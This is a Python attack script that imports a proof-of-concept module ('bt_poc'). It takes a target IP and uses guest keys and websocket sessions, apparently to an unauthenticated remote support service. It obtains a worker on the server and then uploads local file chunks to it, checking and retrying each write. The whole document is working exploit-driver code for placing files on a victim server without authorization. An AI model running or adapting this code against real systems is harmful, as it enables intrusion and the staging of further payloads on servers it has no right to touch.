import asyncio, sys, glob
import aiohttp
import bt_poc as B


async def main(ip, issue, pattern, prefix):
    parts = sorted(glob.glob(pattern))
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        base = 'https://' + ip
        site = await B.site_info(s, base)
        nk = await B.guest_key(s, base, issue)
        tk = await B.guest_key(s, base, issue)
        w = await B.open_ws(s, base, site[0], site[1], False)
        c, h = await B.native_setup(w, nk)
        tw = await B.open_ws(s, base, site[0], site[1], True)
        await B.thin_setup(tw, tk)
        worker = await B.get_worker(c, h, tk)
        for p in parts:
            data = open(p, 'rb').read()
            idx = p.rsplit('.', 1)[-1]
            for att in range(4):
                name = prefix + idx + ('' if att == 0 else 'r%d' % att)
                try:
                    await B.write_file(c, worker, name, data)
                except Exception as e:
                    print('ERR', name, type(e).__name__, e)
                    continue
                await asyncio.sleep(0.5)
                try:
                    got = await B.read_file(c, worker, name)
                except Exception as e:
                    print('READERR', name, type(e).__name__, e)
                    continue
                if len(got) == len(data):
                    print('OK', name, len(got))
                    break
                print('SHORT', name, len(got), 'of', len(data))

asyncio.run(main(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]))
